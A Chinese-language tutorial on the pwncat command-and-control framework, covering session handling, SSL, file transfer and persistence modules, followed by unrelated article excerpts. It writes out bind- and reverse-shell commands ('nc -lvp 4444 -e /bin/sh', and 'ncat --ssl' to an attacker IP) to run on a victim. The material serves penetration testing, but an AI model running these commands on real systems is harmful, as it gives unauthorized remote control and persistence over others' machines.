工具使用-pwncat

pwncat是一个命令和控制框架,可以将基本的反向或绑定shell转化为一个功能齐全的利用平台。然后,它将尝试在远程主机上启动一个伪终端,并为您提供原始终端访问。
但pwncat不止于此。除了自动的获取全交互式终端外,pwncat还提供了一个本地Shell界面,可以用来使用自动枚举模块、自动持久化,甚至自动提权,文件上传/下载。

当在获取到一个基本的反向 shell 后,还需要做以下步骤来防止终端意外退出。

python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermCtrl + Zexport TERM=xtermstty rows 38 columns 116

当输入这几天命令后才能防止 Ctrl + C 意外结束。遇到上传/下载文件还需要使用 python 开启一个临时的 http 服务器。

而现在这些步骤都可以被 calebstewart/pwncat: Fancy reverse and bind shell handler 来自动实现。

pwncat 使用

安装

对于仅只用的,推荐下面的命令安装

python3 -m venv pwncat-env
source pwncat-env/bin/activate
pip install pwncat-cs

对于开发环境,使用这里的命令安装

# Setup pwncat inside a poetry-managed virtual environment
git clone https://github.com/calebstewart/pwncat
cd pwncat
poetry install# Enter the virtual environment
poetry shell

bind shell 获取

首先在受害者机器输入下面的命令,这条命令会将 /bin/sh 绑定到 4444 端口

nc -lvp 4444 -e /bin/sh

接下来使用 pwncat 连接

pwncat-cs 目标ip 目标端口
pwncat-cs 192.168.99.136 4444

反向 shell 获取

在攻击机开启监听端口 4444

当在受害者连接到攻击机时,将返回 shell

此时是本地交互终端(控制台),以 local 作为标志。
这里可以切换多个控制的主机、文件上传/文件下载、模块自动利用等。

进入到被控机器

对于一台主机,可以使用 Ctrl + D 键进入被控机器,以 remote 为标志。再次按 Ctrl + D 将返回本地交互终端。

多台主机控制

首先开启监听,这将在后台监听 4444 端口的连接。

在受害者连接监听端口 4444,这样将会有两台主机。

使用 session id 的方式切换被控机

使用 listeners 可以看到正在监听的端口,此时监听的端口可以接收多台主机。

也可以使用参数来限制上线数量。使用 -c 来限制数量,这样 1234 端口将仅限被连接两次。

listen -c 2 -m linux 1234

这里可以看到,第三次连接失败了。

需要注意的使,当 pwncat 程序退出后,将丢失所有会话

开启 ssl 加密

通过 wireshark 抓包可以看到,流量是明文的

pwncat 还支持 ssl,下面将介绍开启 ssl 连接的步骤。
创建一个支持 ssl 的监听器,这将会自动创建一个自签名的 ssl 证书。

使用支持 ssl 连接的 nc 来连接目标端口。

ncat --ssl 192.168.99.136 4444 -e /bin/sh

此时与会话1的交互将是被加密的,4444 -> 33644 流量加密,1234 -> 48548 明文传输。

而会话 0 是明文连接。

文件下载/文件上传

文件下载

pwncat 使用 lcd 来切换 的目录,创建一个 pwncat-loot,使用 lcd 切换到此目录。

使用 download 下载文件将会下载到工作目录 pwncat-loot。

文件上传

将要上传的文件复制到 pwncat-loot。

使用 upload 上传到被控机器。

ssh 连接

除了正向、反向外,还支持 ssh 连接

这样就可以使用 pwncat 来管理多个 ssh 会话了

linux 权限维持自动化模块

此外 pwncat 还有一些好用的模块,可以用来权限维持。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2814054.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

微服务-商城订单服务项目

文章目录 一、需求二、分析三、设计四、编码4.1 商品服务4.2 订单服务4.3 分布式事务4.4 订单超时 商品、购物车 商品服务: 1.全品类购物平台 SPU:Standard Product Unit 标准化产品单元。是商品信息聚合的最小单位。是一组可复用、易检索的标准化信息的集合&#x…

求两个向量之间的夹角

求两个向量之间的夹角 介绍Unity的API求向量夹角Vector3.AngleVector3.SignedAngle 自定义获取方法0-360度的夹角 总结 介绍 求两个向量之间的夹角方法有很多,比如说Unity中的Vector3.Angle,Vector3.SignedAngle等方法,具体在什么情况下使用…

4_透镜畸变

理论上讲,是可能定义一种透镜而不引入任何畸变的。然而现实世界没有完美的透镜。这主要是制造上的原因,因为制作一个“球形”透镜比制作一个数学上理想的透镜更容易。而且从机械方面也很难把透镜和成像仪保持平行。下面主要描述两种主要的透镜畸变并为他…

Python之No module named xxx类问题解决思路(三十)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏:多媒…

Java集合基础梳理(集合体系+ArrayList)

目录 Java集合体系 为什么要使用集合类 ? 如何选用集合? 哪些集合类是线程安全的?哪些不安全? 快速失败(fail-fast)和安全失败(fail-safe)的区别是什么? 遍历的同时修改一个List有几种方式 ArrayList 如何进行元素的遍历操作&#x…

【办公类-21-05】20240227单个word按“段落数”拆分多个Word(成果汇编 只有段落文字 1拆5)

作品展示 背景需求 前文对一套带有段落文字和表格的word进行13份拆分 【办公类-21-04】20240227单个word按“段落数”拆分多个Word(三级育婴师操作参考题目1拆13份)-CSDN博客文章浏览阅读293次,点赞8次,收藏3次。【办公类-21-04…

半小时到秒级,京东零售定时任务优化怎么做的?

导言: 京东零售技术团队通过真实线上案例总结了针对海量数据批处理任务的一些通用优化方法,除了供大家借鉴参考之外,也更希望通过这篇文章呼吁大家在平时开发程序时能够更加注意程序的性能和所消耗的资源,避免在流量突增时给系统…

在PyCharm中使用Git

安装Git CMD检查Git版本 打开cmd,输入git version,检查当前下载版本 配置git的user信息 在cmd中输入 git config --global user.name "用户名"git config --global user.email "用户邮箱"输入:git config --list&…

安卓平板主板_安卓平板电脑主板MTK联发科|高通|紫光展锐方案

安卓平板电脑主板选择了MTK联发科方案,并且可以选配高通或者紫光展锐平台方案,为用户提供更强劲的性能和定制化的服务。主板搭载了联发科MT6771处理器,采用12nm制程工艺,拥有八核Cortex-A73Coretex-A53架构,主频为2.0G…

STM32物联网(封装AT指令进行TCP连接及数据的接收和发送)

文章目录 前言一、AT指令函数封装1.向ESP8266发送数据函数2.设置ESP8266工作模式3.连接WIFI函数4.查询IP地址5.连接TCP服务器6.发送数据到TCP服务器7.接收并解析来自TCP服务器的数据8.关闭TCP服务器 二、代码测试总结 前言 本篇文章将继续带大家学习STM32物联网,那…

Python angr 符号执行生成 C 语言 Control-flow Graph (CFG)

绘制CFG利用包 angr 首先安装 pip install angr参考angr相关文档 https://docs.angr.io/en/latest/analyses/cfg.html 通过文档得知GitHub中的demo用法,以下为方法转述 https://github.com/axt/angr-utils 安装相关依赖angrutils(注意,需要…

利用 ChatGPT 提升个人工作、生活品质

利用 ChatGPT 提升个人工作、生活品质和个人智慧是一个多方面而又切实可行的方法。 以下是一些具体的建议: 获取信息和知识: ChatGPT 可以回答各种问题并提供相关信息和知识。你可以利用它来查询工作中遇到的问题、学习新的知识领域或是获取日常生活中的…

Xcode15与苹果ios17适配以及遇到的问题

大家好,我是你们的好朋友咕噜铁蛋!最近,苹果发布了全新的iOS17系统,而作为开发者,我们需要确保我们的应用程序能够与这个新系统完美适配。因此,今天我将和大家分享一些关于Xcode15与苹果17系统适配的经验&a…

JDK安装及环境变量配置(保姆级教程)

什么是JDK? JDK(Java Development Kit)是Java开发工具包的缩写 它是Java开发人员必备的软件包之一。JDK包含了用于编译、调试和运行Java程序的各种工具和库。通过安装JDK,开发人员可以开始编写、编译和运行Java应用程序、Applet和…

开源现场总线协议栈(ethercat、ethernet/ip、opc ua、profinet、canopen、modbus)

ecat主站及其相关: 1.soem:GitHub - OpenEtherCATsociety/SOEM: Simple Open Source EtherCAT MasterSimple Open Source EtherCAT Master. Contribute to OpenEtherCATsociety/SOEM development by creating an account on GitHub.https://github.com/…

spring自定义事件监听器

1. 创建自定义事件 import org.springframework.context.ApplicationEvent; import java.util.List;public class CollectionCreateEvent extends ApplicationEvent {private List<String> fileList;public CollectionCreateEvent(Object source,List<String> file…

Linux中数据库sqlite3的基本命令的使用

数据库概念介绍 数据库安装 首先将本地的三个sqlite3安装包移动到共享文件夹然后在移动到自己创建的文件夹中如下&#xff1a; 然后对安装包进行解压如下&#xff1a;sudo dpkg -i *.deb检查是否安装成功sqlite数据库命令 系统命令 &#xff0c; 都以’.开头 .exit .quit .…

Unity开发一个FPS游戏

在之前的文章Unity 3D Input System的使用-CSDN博客中,我介绍了如何用Input System来实现一个FPS游戏的移动控制,这里将进一步完善这个游戏。 以下是游戏的演示效果: fps_demo 添加武器模型 首先是增加主角玩家的武器,我们可以在网上搜索到很多免费的3D资源,例如在以下网…

基于springboot+html实现的衣物捐赠平台

一、系统架构 前端&#xff1a;html | layui | jquery | css 后端&#xff1a;springboot | thymeleaf | mybatis 环境&#xff1a;jdk1.8 | mysql | maven 二、代码及数据库 三、功能介绍 01. 登录页 02. 注册 03. web页-首页 04. web页-捐赠衣服 05. web页-论坛交流…

【小沐学QT】QT学习之OpenGL开发笔记

文章目录 1、简介2、Qt QOpenGLWidget gl函数3、Qt QOpenGLWidget qt函数4、Qt QOpenGLWindow5、Qt glut6、Qt glfw结语 1、简介 Qt提供了与OpenGL实现集成的支持&#xff0c;使开发人员有机会在更传统的用户界面的同时显示硬件加速的3D图形。 Qt有两种主要的UI开发方…